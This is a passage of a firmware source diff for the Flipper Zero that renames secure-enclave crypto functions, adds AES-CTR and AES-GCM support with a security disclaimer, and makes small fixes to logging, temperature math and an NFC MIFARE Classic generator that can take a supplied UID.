valid_keys_nb) { furi_assert(keys_nb); furi_assert(valid_keys_nb); uint8_t keys = 0; uint8_t keys_valid = 0; uint8_t buffer[ENCLAVE_SIGNATURE_SIZE]; for(size_t key_slot = 0; key_slot < ENCLAVE_FACTORY_KEY_SLOTS; key_slot++) { - if(furi_hal_crypto_store_load_key(key_slot + 1, enclave_signature_iv[key_slot])) { + if(furi_hal_crypto_enclave_load_key(key_slot + 1, enclave_signature_iv[key_slot])) { keys++; if(furi_hal_crypto_encrypt( enclave_signature_input[key_slot], buffer, ENCLAVE_SIGNATURE_SIZE)) { @@ -129,7 +143,7 @@ bool furi_hal_crypto_verify_enclave(uint8_t* keys_nb, uint8_t* valid_keys_nb) { memcmp(buffer, enclave_signature_expected[key_slot], ENCLAVE_SIGNATURE_SIZE) == 0; } - furi_hal_crypto_store_unload_key(key_slot + 1); + furi_hal_crypto_enclave_unload_key(key_slot + 1); } } *keys_nb = keys; @@ -140,7 +154,7 @@ bool furi_hal_crypto_verify_enclave(uint8_t* keys_nb, uint8_t* valid_keys_nb) { return false; } -bool furi_hal_crypto_store_add_key(FuriHalCryptoKey* key, uint8_t* slot) { +bool furi_hal_crypto_enclave_store_key(FuriHalCryptoKey* key, uint8_t* slot) { furi_assert(key); furi_assert(slot); @@ -205,6 +219,16 @@ static void crypto_key_init(uint32_t* key, uint32_t* iv) { AES1->IVR0 = iv[3]; } +static bool furi_hal_crypto_wait_flag(uint32_t flag) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(CRYPTO_TIMEOUT_US); + while(!READ_BIT(AES1->SR, flag)) { + if(furi_hal_cortex_timer_is_expired(timer)) { + return false; + } + } + return true; +} + static bool crypto_process_block(uint32_t* in, uint32_t* out, uint8_t blk_len) { furi_check((blk_len <= 4) && (blk_len > 0)); @@ -216,14 +240,8 @@ static bool crypto_process_block(uint32_t* in, uint32_t* out, uint8_t blk_len) { } } - uint32_t countdown = CRYPTO_TIMEOUT; - while(!READ_BIT(AES1->SR, AES_SR_CCF)) { - if(LL_SYSTICK_IsActiveCounterFlag()) { - countdown--; - } - if(countdown == 0) { - return false; - } + if(!furi_hal_crypto_wait_flag(AES_SR_CCF)) { + return false; } SET_BIT(AES1->CR, AES_CR_CCFC); @@ -237,7 +255,7 @@ static bool crypto_process_block(uint32_t* in, uint32_t* out, uint8_t blk_len) { return true; } -bool furi_hal_crypto_store_load_key(uint8_t slot, const uint8_t* iv) { +bool furi_hal_crypto_enclave_load_key(uint8_t slot, const uint8_t* iv) { furi_assert(slot > 0 && slot <= 100); furi_assert(furi_hal_crypto_mutex); furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk); @@ -260,7 +278,7 @@ bool furi_hal_crypto_store_load_key(uint8_t slot, const uint8_t* iv) { } } -bool furi_hal_crypto_store_unload_key(uint8_t slot) { +bool furi_hal_crypto_enclave_unload_key(uint8_t slot) { if(!furi_hal_bt_is_alive()) { return false; } @@ -276,6 +294,27 @@ bool furi_hal_crypto_store_unload_key(uint8_t slot) { return (shci_state == SHCI_Success); } +bool furi_hal_crypto_load_key(const uint8_t* key, const uint8_t* iv) { + furi_assert(furi_hal_crypto_mutex); + furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk); + + furi_hal_bus_enable(FuriHalBusAES1); + + furi_hal_crypto_mode_init_done = false; + crypto_key_init((uint32_t*)key, (uint32_t*)iv); + + return true; +} + +bool furi_hal_crypto_unload_key(void) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + + furi_hal_bus_disable(FuriHalBusAES1); + + furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk); + return true; +} + bool furi_hal_crypto_encrypt(const uint8_t* input, uint8_t* output, size_t size) { bool state = false; @@ -307,14 +346,8 @@ bool furi_hal_crypto_decrypt(const uint8_t* input, uint8_t* output, size_t size) SET_BIT(AES1->CR, AES_CR_EN); - uint32_t countdown = CRYPTO_TIMEOUT; - while(!READ_BIT(AES1->SR, AES_SR_CCF)) { - if(LL_SYSTICK_IsActiveCounterFlag()) { - countdown--; - } - if(countdown == 0) { - return false; - } + if(!furi_hal_crypto_wait_flag(AES_SR_CCF)) { + return false; } SET_BIT(AES1->CR, AES_CR_CCFC); @@ -340,3 +373,360 @@ bool furi_hal_crypto_decrypt(const uint8_t* input, uint8_t* output, size_t size) return state; } + +static void crypto_key_init_bswap(uint32_t* key, uint32_t* iv, uint32_t chaining_mode) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + MODIFY_REG( + AES1->CR, + AES_CR_DATATYPE | AES_CR_KEYSIZE | AES_CR_CHMOD, + CRYPTO_DATATYPE_32B | CRYPTO_KEYSIZE_256B | chaining_mode); + + if(key != NULL) { + AES1->KEYR7 = __builtin_bswap32(key[0]); + AES1->KEYR6 = __builtin_bswap32(key[1]); + AES1->KEYR5 = __builtin_bswap32(key[2]); + AES1->KEYR4 = __builtin_bswap32(key[3]); + AES1->KEYR3 = __builtin_bswap32(key[4]); + AES1->KEYR2 = __builtin_bswap32(key[5]); + AES1->KEYR1 = __builtin_bswap32(key[6]); + AES1->KEYR0 = __builtin_bswap32(key[7]); + } + + AES1->IVR3 = __builtin_bswap32(iv[0]); + AES1->IVR2 = __builtin_bswap32(iv[1]); + AES1->IVR1 = __builtin_bswap32(iv[2]); + AES1->IVR0 = __builtin_bswap32(iv[3]); +} + +static bool + furi_hal_crypto_load_key_bswap(const uint8_t* key, const uint8_t* iv, uint32_t chaining_mode) { + furi_assert(furi_hal_crypto_mutex); + furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk); + + furi_hal_bus_enable(FuriHalBusAES1); + + crypto_key_init_bswap((uint32_t*)key, (uint32_t*)iv, chaining_mode); + + return true; +} + +static bool wait_for_crypto(void) { + if(!furi_hal_crypto_wait_flag(AES_SR_CCF)) { + return false; + } + + SET_BIT(AES1->CR, AES_CR_CCFC); + + return true; +} + +static bool furi_hal_crypto_process_block_bswap(const uint8_t* in, uint8_t* out, size_t bytes) { + uint32_t block[CRYPTO_BLK_LEN / 4]; + memset(block, 0, sizeof(block)); + + memcpy(block, in, bytes); + + block[0] = __builtin_bswap32(block[0]); + block[1] = __builtin_bswap32(block[1]); + block[2] = __builtin_bswap32(block[2]); + block[3] = __builtin_bswap32(block[3]); + + if(!crypto_process_block(block, block, CRYPTO_BLK_LEN / 4)) { + return false; + } + + block[0] = __builtin_bswap32(block[0]); + block[1] = __builtin_bswap32(block[1]); + block[2] = __builtin_bswap32(block[2]); + block[3] = __builtin_bswap32(block[3]); + + memcpy(out, block, bytes); + + return true; +} + +static bool furi_hal_crypto_process_block_no_read_bswap(const uint8_t* in, size_t bytes) { + uint32_t block[CRYPTO_BLK_LEN / 4]; + memset(block, 0, sizeof(block)); + + memcpy(block, in, bytes); + + AES1->DINR = __builtin_bswap32(block[0]); + AES1->DINR = __builtin_bswap32(block[1]); + AES1->DINR = __builtin_bswap32(block[2]); + AES1->DINR = __builtin_bswap32(block[3]); + + return wait_for_crypto(); +} + +static void furi_hal_crypto_ctr_prep_iv(uint8_t* iv) { + /* append counter to IV */ + iv[CRYPTO_CTR_IV_LEN] = 0; + iv[CRYPTO_CTR_IV_LEN + 1] = 0; + iv[CRYPTO_CTR_IV_LEN + 2] = 0; + iv[CRYPTO_CTR_IV_LEN + 3] = 1; +} + +static bool furi_hal_crypto_ctr_payload(const uint8_t* input, uint8_t* output, size_t length) { + SET_BIT(AES1->CR, AES_CR_EN); + MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_ENCRYPT); + + size_t last_block_bytes = length % CRYPTO_BLK_LEN; + + size_t i; + for(i = 0; i < length - last_block_bytes; i += CRYPTO_BLK_LEN) { + if(!furi_hal_crypto_process_block_bswap(&input[i], &output[i], CRYPTO_BLK_LEN)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + if(last_block_bytes > 0) { + if(!furi_hal_crypto_process_block_bswap(&input[i], &output[i], last_block_bytes)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + CLEAR_BIT(AES1->CR, AES_CR_EN); + return true; +} + +bool furi_hal_crypto_ctr( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* input, + uint8_t* output, + size_t length) { + /* prepare IV and counter */ + uint8_t iv_and_counter[CRYPTO_CTR_IV_LEN + CRYPTO_CTR_CTR_LEN]; + memcpy(iv_and_counter, iv, CRYPTO_CTR_IV_LEN); //-V1086 + furi_hal_crypto_ctr_prep_iv(iv_and_counter); + + /* load key and IV and set the mode to CTR */ + if(!furi_hal_crypto_load_key_bswap(key, iv_and_counter, CRYPTO_AES_CTR)) { + furi_hal_crypto_unload_key(); + return false; + } + + /* process the input and write to output */ + bool state = furi_hal_crypto_ctr_payload(input, output, length); + + furi_hal_crypto_unload_key(); + + return state; +} + +static void furi_hal_crypto_gcm_prep_iv(uint8_t* iv) { + /* append counter to IV */ + iv[CRYPTO_GCM_IV_LEN] = 0; + iv[CRYPTO_GCM_IV_LEN + 1] = 0; + iv[CRYPTO_GCM_IV_LEN + 2] = 0; + iv[CRYPTO_GCM_IV_LEN + 3] = 2; +} + +static bool furi_hal_crypto_gcm_init(bool decrypt) { + /* GCM init phase */ + + MODIFY_REG(AES1->CR, AES_CR_GCMPH, CRYPTO_GCM_PH_INIT); + if(decrypt) { + MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_DECRYPT); + } else { + MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_ENCRYPT); + } + + SET_BIT(AES1->CR, AES_CR_EN); + + if(!wait_for_crypto()) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + + return true; +} + +static bool furi_hal_crypto_gcm_header(const uint8_t* aad, size_t aad_length) { + /* GCM header phase */ + + MODIFY_REG(AES1->CR, AES_CR_GCMPH, CRYPTO_GCM_PH_HEADER); + SET_BIT(AES1->CR, AES_CR_EN); + + size_t last_block_bytes = aad_length % CRYPTO_BLK_LEN; + + size_t i; + for(i = 0; i < aad_length - last_block_bytes; i += CRYPTO_BLK_LEN) { + if(!furi_hal_crypto_process_block_no_read_bswap(&aad[i], CRYPTO_BLK_LEN)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + if(last_block_bytes > 0) { + if(!furi_hal_crypto_process_block_no_read_bswap(&aad[i], last_block_bytes)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + return true; +} + +static bool furi_hal_crypto_gcm_payload( + const uint8_t* input, + uint8_t* output, + size_t length, + bool decrypt) { + /* GCM payload phase */ + + MODIFY_REG(AES1->CR, AES_CR_GCMPH, CRYPTO_GCM_PH_PAYLOAD); + SET_BIT(AES1->CR, AES_CR_EN); + + size_t last_block_bytes = length % CRYPTO_BLK_LEN; + + size_t i; + for(i = 0; i < length - last_block_bytes; i += CRYPTO_BLK_LEN) { + if(!furi_hal_crypto_process_block_bswap(&input[i], &output[i], CRYPTO_BLK_LEN)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + if(last_block_bytes > 0) { + if(!decrypt) { + MODIFY_REG( + AES1->CR, AES_CR_NPBLB, (CRYPTO_BLK_LEN - last_block_bytes) << AES_CR_NPBLB_Pos); + } + if(!furi_hal_crypto_process_block_bswap(&input[i], &output[i], last_block_bytes)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + } + + return true; +} + +static bool furi_hal_crypto_gcm_finish(size_t aad_length, size_t payload_length, uint8_t* tag) { + /* GCM final phase */ + + MODIFY_REG(AES1->CR, AES_CR_GCMPH, CRYPTO_GCM_PH_FINAL); + + uint32_t last_block[CRYPTO_BLK_LEN / 4]; + memset(last_block, 0, sizeof(last_block)); + last_block[1] = __builtin_bswap32((uint32_t)(aad_length * 8)); + last_block[3] = __builtin_bswap32((uint32_t)(payload_length * 8)); + + if(!furi_hal_crypto_process_block_bswap((uint8_t*)&last_block[0], tag, CRYPTO_BLK_LEN)) { + CLEAR_BIT(AES1->CR, AES_CR_EN); + return false; + } + + return true; +} + +static bool furi_hal_crypto_gcm_compare_tag(const uint8_t* tag1, const uint8_t* tag2) { + uint8_t diff = 0; + + size_t i; + for(i = 0; i < CRYPTO_GCM_TAG_LEN; i++) { + diff |= tag1[i] ^ tag2[i]; + } + + return (diff == 0); +} + +bool furi_hal_crypto_gcm( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + uint8_t* tag, + bool decrypt) { + /* GCM init phase */ + + /* prepare IV and counter */ + uint8_t iv_and_counter[CRYPTO_GCM_IV_LEN + CRYPTO_GCM_CTR_LEN]; + memcpy(iv_and_counter, iv, CRYPTO_GCM_IV_LEN); //-V1086 + furi_hal_crypto_gcm_prep_iv(iv_and_counter); + + /* load key and IV and set the mode to CTR */ + if(!furi_hal_crypto_load_key_bswap(key, iv_and_counter, CRYPTO_AES_GCM)) { + furi_hal_crypto_unload_key(); + return false; + } + + if(!furi_hal_crypto_gcm_init(decrypt)) { + furi_hal_crypto_unload_key(); + return false; + } + + /* GCM header phase */ + + if(aad_length > 0) { + if(!furi_hal_crypto_gcm_header(aad, aad_length)) { + furi_hal_crypto_unload_key(); + return false; + } + } + + /* GCM payload phase */ + + if(!furi_hal_crypto_gcm_payload(input, output, length, decrypt)) { + furi_hal_crypto_unload_key(); + return false; + } + + /* GCM final phase */ + + if(!furi_hal_crypto_gcm_finish(aad_length, length, tag)) { + furi_hal_crypto_unload_key(); + return false; + } + + furi_hal_crypto_unload_key(); + return true; +} + +FuriHalCryptoGCMState furi_hal_crypto_gcm_encrypt_and_tag( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + uint8_t* tag) { + if(!furi_hal_crypto_gcm(key, iv, aad, aad_length, input, output, length, tag, false)) { + memset(output, 0, length); + memset(tag, 0, CRYPTO_GCM_TAG_LEN); + return FuriHalCryptoGCMStateError; + } + + return FuriHalCryptoGCMStateOk; +} + +FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + const uint8_t* tag) { + uint8_t dtag[CRYPTO_GCM_TAG_LEN]; + + if(!furi_hal_crypto_gcm(key, iv, aad, aad_length, input, output, length, dtag, true)) { + memset(output, 0, length); + return FuriHalCryptoGCMStateError; + } + + if(!furi_hal_crypto_gcm_compare_tag(dtag, tag)) { + memset(output, 0, length); + return FuriHalCryptoGCMStateAuthFailure; + } + + return FuriHalCryptoGCMStateOk; +} diff --git a/firmware/targets/f7/furi_hal/furi_hal_info.c b/firmware/targets/f7/furi_hal/furi_hal_info.c index cefb6a11b..4908cca69 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_info.c +++ b/firmware/targets/f7/furi_hal/furi_hal_info.c @@ -283,7 +283,7 @@ void furi_hal_info_get(PropertyValueCallback out, char sep, void* context) { // Signature verification uint8_t enclave_keys = 0; uint8_t enclave_valid_keys = 0; - bool enclave_valid = furi_hal_crypto_verify_enclave(&enclave_keys, &enclave_valid_keys); + bool enclave_valid = furi_hal_crypto_enclave_verify(&enclave_keys, &enclave_valid_keys); if(sep == '.') { property_value_out( &property_context, "%d", 3, "enclave", "keys", "valid", enclave_valid_keys); diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index b651fc59f..1ea5334ee 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -234,7 +234,7 @@ bool furi_hal_subghz_rx_pipe_not_empty() { cc1101_read_reg( &furi_hal_spi_bus_handle_subghz, (CC1101_STATUS_RXBYTES) | CC1101_BURST, (uint8_t*)status); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - // TODO: you can add a buffer overflow flag if needed + // TODO: Find reason why RXFIFO_OVERFLOW doesnt work correctly if(status->NUM_RXBYTES > 0) { return true; } else { diff --git a/firmware/targets/furi_hal_include/furi_hal_crypto.h b/firmware/targets/furi_hal_include/furi_hal_crypto.h index 81788e96e..5e3b41040 100644 --- a/firmware/targets/furi_hal_include/furi_hal_crypto.h +++ b/firmware/targets/furi_hal_include/furi_hal_crypto.h @@ -1,6 +1,40 @@ /** * @file furi_hal_crypto.h + * * Cryptography HAL API + * + * !!! READ THIS FIRST !!! + * + * Flipper was never designed to be secure, nor it passed cryptography audit. + * Despite of the fact that keys are stored in secure enclave there are some + * types of attack that can be performed against AES engine to recover + * keys(theoretical). Also there is no way to securely deliver user keys to + * device and never will be. In addition device is fully open and there is no + * way to guarantee safety of your data, it can be easily dumped with debugger + * or modified code. + * + * Secure enclave on WB series is implemented on core2 FUS side and can be used + * only if core2 alive. Enclave is responsible for storing, loading and + * unloading keys to and from enclave/AES in secure manner(AES engine key + * registers will be locked when key from enclave loaded) + * + * There are 11 keys that we provision at factory: + * - 0 - Master key for secure key delivery. Impossible to use for anything but + * key provisioning. We don't plan to use it too. + * - 1 - 10 - Keys used by firmware. All devices got the same set of keys. You + * also can use them in your applications. + * + * Also there is a slot 11 that we use for device unique key. This slot is + * intentionally left blank till the moment of first use, so you can ensure that + * we don't know your unique key. Also you can provision this key by your self + * with crypto cli or API. + * + * Other slots can be used for your needs. But since enclave is sequential + * append only, we can not guarantee you that slots you want are free. NEVER USE + * THEM FOR PUBLIC APPLICATIONS. + * + * Also you can directly load raw keys into AES engine and use it for your + * needs. */ #pragma once @@ -12,10 +46,27 @@ extern "C" { #endif +/** Factory provisioned master key slot. Should never be used. */ +#define FURI_HAL_CRYPTO_ENCLAVE_MASTER_KEY_SLOT (0u) + +/** Factory provisioned keys slot range. All of them are exactly same on all flippers. */ +#define FURI_HAL_CRYPTO_ENCLAVE_FACTORY_KEY_SLOT_START (1u) +#define FURI_HAL_CRYPTO_ENCLAVE_FACTORY_KEY_SLOT_END (10u) + +/** Device unique key slot. This key generated on first use or provisioned by user. Use furi_hal_crypto_enclave_ensure_key before using this slot. */ +#define FURI_HAL_CRYPTO_ENCLAVE_UNIQUE_KEY_SLOT (11u) + +/** User key slot range. This slots can be used for your needs, but never use them in public apps. */ +#define FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_START (12u) +#define FURI_HAL_CRYPTO_ENCLAVE_USER_KEY_SLOT_END (100u) + +/** [Deprecated] Indicates availability of advanced crypto functions, will be dropped before v1.0 */ +#define FURI_HAL_CRYPTO_ADVANCED_AVAIL 1 + /** FuriHalCryptoKey Type */ typedef enum { FuriHalCryptoKeyTypeMaster, /**< Master key */ - FuriHalCryptoKeyTypeSimple, /**< Simple enencrypted key */ + FuriHalCryptoKeyTypeSimple, /**< Simple unencrypted key */ FuriHalCryptoKeyTypeEncrypted, /**< Encrypted with Master key */ } FuriHalCryptoKeyType; @@ -32,40 +83,89 @@ typedef struct { uint8_t* data; } FuriHalCryptoKey; -/** Initialize cryptography layer This includes AES engines, PKA and RNG - */ +/** FuriHalCryptoGCMState Result of a GCM operation */ +typedef enum { + FuriHalCryptoGCMStateOk, /**< operation successful */ + FuriHalCryptoGCMStateError, /**< error during encryption/decryption */ + FuriHalCryptoGCMStateAuthFailure, /**< tags do not match, auth failed */ +} FuriHalCryptoGCMState; + +/** Initialize cryptography layer(includes AES engines, PKA and RNG) */ void furi_hal_crypto_init(); -bool furi_hal_crypto_verify_enclave(uint8_t* keys_nb, uint8_t* valid_keys_nb); - -bool furi_hal_crypto_verify_key(uint8_t key_slot); - -/** Store key in crypto storage +/** Verify factory provisioned keys * - * @param key FuriHalCryptoKey to store. Only Master, Simple or - * Encrypted - * @param slot pinter to int where store slot number will be saved + * @param keys_nb The keys number of + * @param valid_keys_nb The valid keys number of + * + * @return true if all enclave keys are intact, false otherwise + */ +bool furi_hal_crypto_enclave_verify(uint8_t* keys_nb, uint8_t* valid_keys_nb); + +/** Ensure that requested slot and slots before this slot contains keys. + * + * This function is used to provision FURI_HAL_CRYPTO_ENCLAVE_UNIQUE_KEY_SLOT. Also you + * may want to use it to generate some unique keys in user key slot range. + * + * @warning Because of the sequential nature of the secure enclave this + * method will generate key for all slots from + * FURI_HAL_CRYPTO_ENCLAVE_FACTORY_KEY_SLOT_END to the slot your requested. + * Keys are generated using on-chip RNG. + * + * @param[in] key_slot The key slot to enclave + * + * @return true if key exists or created, false if enclave corrupted + */ +bool furi_hal_crypto_enclave_ensure_key(uint8_t key_slot); + +/** Store key in crypto enclave + * + * @param key FuriHalCryptoKey to be stored + * @param slot pointer to int where enclave slot will be stored * * @return true on success */ -bool furi_hal_crypto_store_add_key(FuriHalCryptoKey* key, uint8_t* slot); +bool furi_hal_crypto_enclave_store_key(FuriHalCryptoKey* key, uint8_t* slot); -/** Init AES engine and load key from crypto store +/** Init AES engine and load key from crypto enclave * - * @param slot store slot number + * @warning Use only with furi_hal_crypto_enclave_unload_key() + * + * @param slot enclave slot * @param[in] iv pointer to 16 bytes Initialization Vector data * * @return true on success */ -bool furi_hal_crypto_store_load_key(uint8_t slot, const uint8_t* iv); +bool furi_hal_crypto_enclave_load_key(uint8_t slot, const uint8_t* iv); -/** Unload key engine and deinit AES engine +/** Unload key and deinit AES engine * - * @param slot store slot number + * @warning Use only with furi_hal_crypto_enclave_load_key() + * + * @param slot enclave slot * * @return true on success */ -bool furi_hal_crypto_store_unload_key(uint8_t slot); +bool furi_hal_crypto_enclave_unload_key(uint8_t slot); + +/** Init AES engine and load supplied key + * + * @warning Use only with furi_hal_crypto_unload_key() + * + * @param[in] key pointer to 32 bytes key data + * @param[in] iv pointer to 16 bytes Initialization Vector data + * + * @return true on success + */ +bool furi_hal_crypto_load_key(const uint8_t* key, const uint8_t* iv); + +/** Unload key and de-init AES engine + * + * @warning Use this function only with furi_hal_crypto_load_key() + * + * @return true on success + */ +bool furi_hal_crypto_unload_key(void); /** Encrypt data * @@ -87,6 +187,109 @@ bool furi_hal_crypto_encrypt(const uint8_t* input, uint8_t* output, size_t size) */ bool furi_hal_crypto_decrypt(const uint8_t* input, uint8_t* output, size_t size); +/** Encrypt the input using AES-CTR + * + * Decryption can be performed by supplying the ciphertext as input. Inits and + * deinits the AES engine internally. + * + * @param[in] key pointer to 32 bytes key data + * @param[in] iv pointer to 12 bytes Initialization Vector data + * @param[in] input pointer to input data + * @param[out] output pointer to output data + * @param length length of the input and output in bytes + * + * @return true on success + */ +bool furi_hal_crypto_ctr( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* input, + uint8_t* output, + size_t length); + +/** Encrypt/decrypt the input using AES-GCM + * + * When decrypting the tag generated needs to be compared to the tag attached to + * the ciphertext in a constant-time fashion. If the tags are not equal, the + * decryption failed and the plaintext returned needs to be discarded. Inits and + * deinits the AES engine internally. + * + * @param[in] key pointer to 32 bytes key data + * @param[in] iv pointer to 12 bytes Initialization Vector data + * @param[in] aad pointer to additional authentication data + * @param aad_length length of the additional authentication data in bytes + * @param[in] input pointer to input data + * @param[out] output pointer to output data + * @param length length of the input and output in bytes + * @param[out] tag pointer to 16 bytes space for the tag + * @param decrypt true for decryption, false otherwise + * + * @return true on success + */ +bool furi_hal_crypto_gcm( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + uint8_t* tag, + bool decrypt); + +/** Encrypt the input using AES-GCM and generate a tag + * + * Inits and deinits the AES engine internally. + * + * @param[in] key pointer to 32 bytes key data + * @param[in] iv pointer to 12 bytes Initialization Vector data + * @param[in] aad pointer to additional authentication data + * @param aad_length length of the additional authentication data in bytes + * @param[in] input pointer to input data + * @param[out] output pointer to output data + * @param length length of the input and output in bytes + * @param[out] tag pointer to 16 bytes space for the tag + * + * @return FuriHalCryptoGCMStateOk on success, FuriHalCryptoGCMStateError on + * failure + */ +FuriHalCryptoGCMState furi_hal_crypto_gcm_encrypt_and_tag( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + uint8_t* tag); + +/** Decrypt the input using AES-GCM and verify the provided tag + * + * Inits and deinits the AES engine internally. + * + * @param[in] key pointer to 32 bytes key data + * @param[in] iv pointer to 12 bytes Initialization Vector data + * @param[in] aad pointer to additional authentication data + * @param aad_length length of the additional authentication data in bytes + * @param[in] input pointer to input data + * @param[out] output pointer to output data + * @param length length of the input and output in bytes + * @param[out] tag pointer to 16 bytes tag + * + * @return FuriHalCryptoGCMStateOk on success, FuriHalCryptoGCMStateError on + * failure, FuriHalCryptoGCMStateAuthFailure if the tag does not + * match + */ +FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify( + const uint8_t* key, + const uint8_t* iv, + const uint8_t* aad, + size_t aad_length, + const uint8_t* input, + uint8_t* output, + size_t length, + const uint8_t* tag); + #ifdef __cplusplus } #endif diff --git a/furi/core/thread.c b/furi/core/thread.c index 657b867d1..de50bde7a 100644 --- a/furi/core/thread.c +++ b/furi/core/thread.c @@ -92,10 +92,10 @@ static void furi_thread_body(void* context) { if(thread->heap_trace_enabled == true) { furi_delay_ms(33); thread->heap_size = memmgr_heap_get_thread_memory((FuriThreadId)task_handle); - furi_log_print_format( //-V576 + furi_log_print_format( thread->heap_size ? FuriLogLevelError : FuriLogLevelInfo, TAG, - "%s allocation balance: %u", + "%s allocation balance: %zu", thread->name ? thread->name : "Thread", thread->heap_size); memmgr_heap_disable_thread_trace((FuriThreadId)task_handle); diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index fc9dd06ba..539a48c85 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -892,7 +892,7 @@ ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { ELFSectionDict_itref_t* itref = ELFSectionDict_ref(it); total_size += itref->value.size; } - FURI_LOG_I(TAG, "Total size of loaded sections: %u", total_size); //-V576 + FURI_LOG_I(TAG, "Total size of loaded sections: %zu", total_size); } return status; diff --git a/lib/lfrfid/protocols/protocol_fdx_b.c b/lib/lfrfid/protocols/protocol_fdx_b.c index a02b44f03..04386a675 100644 --- a/lib/lfrfid/protocols/protocol_fdx_b.c +++ b/lib/lfrfid/protocols/protocol_fdx_b.c @@ -325,7 +325,7 @@ void protocol_fdx_b_render_brief_data(ProtocolFDXB* protocol, FuriString* result float temperature; if(protocol_fdx_b_get_temp(protocol->data, &temperature)) { if(furi_hal_rtc_get_locale_units() == FuriHalRtcLocaleUnitsMetric) { - float temperature_c = (temperature - 32) / 1.8; + float temperature_c = (temperature - 32.0f) / 1.8f; furi_string_cat_printf(result, "T: %.2fC", (double)temperature_c); } else { furi_string_cat_printf(result, "T: %.2fF", (double)temperature); diff --git a/lib/nfc/helpers/nfc_generators.c b/lib/nfc/helpers/nfc_generators.c index 50c89aba8..11148577c 100644 --- a/lib/nfc/helpers/nfc_generators.c +++ b/lib/nfc/helpers/nfc_generators.c @@ -333,15 +333,30 @@ static void nfc_generate_ntag_i2c_plus_2k(NfcDeviceData* data) { mful->version.storage_size = 0x15; } -void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType type) { +void nfc_generate_mf_classic_ext( + NfcDeviceData* data, + uint8_t uid_len, + MfClassicType type, + bool random_uid, + uint8_t* uid) { nfc_generate_common_start(data); - nfc_generate_mf_classic_uid(data->mf_classic_data.block[0].value, uid_len); + if(random_uid) { + nfc_generate_mf_classic_uid(data->mf_classic_data.block[0].value, uid_len); + } else { + memcpy(data->mf_classic_data.block[0].value, uid, uid_len); + } nfc_generate_mf_classic_common(data, uid_len, type); // Set the UID - data->nfc_data.uid[0] = NXP_MANUFACTURER_ID; - for(int i = 1; i < uid_len; i++) { - data->nfc_data.uid[i] = data->mf_classic_data.block[0].value[i]; + if(random_uid) { + data->nfc_data.uid[0] = NXP_MANUFACTURER_ID; + for(int i = 1; i < uid_len; i++) { + data->nfc_data.uid[i] = data->mf_classic_data.block[0].value[i]; + } + } else { + for(int i = 0; i < uid_len; i++) { + data->nfc_data.uid[i] = data->mf_classic_data.block[0].value[i]; + } } MfClassicData* mfc = &data->mf_classic_data; @@ -395,6 +410,11 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mfc->type = type; } +void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType type) { + uint8_t uid = 0; + nfc_generate_mf_classic_ext(data, uid_len, type, true, &uid); +} + static void nfc_generate_mf_mini(NfcDeviceData* data) { nfc_generate_mf_classic(data, 4, MfClassicTypeMini); } diff --git a/lib/nfc/helpers/nfc_generators.h b/lib/nfc/helpers/nfc_generators.h index 8cee67067..5102d0bc3 100644 --- a/lib/nfc/helpers/nfc_generators.h +++ b/lib/nfc/helpers/nfc_generators.h @@ -2,6 +2,10 @@ #include "../nfc_device.h" +#ifdef __cplusplus +extern "C" { +#endif + typedef void (*NfcGeneratorFunc)(NfcDeviceData* data); typedef struct { @@ -12,3 +16,14 @@ typedef struct { extern const NfcGenerator* const nfc_generators[]; void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType type); + +void nfc_generate_mf_classic_ext( + NfcDeviceData* data, + uint8_t uid_len, + MfClassicType type, + bool random_uid, + uint8_t* uid); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index cd9eb336c..ec15879eb 100644 --- a/lib/nfc/nfc_device.c +++ 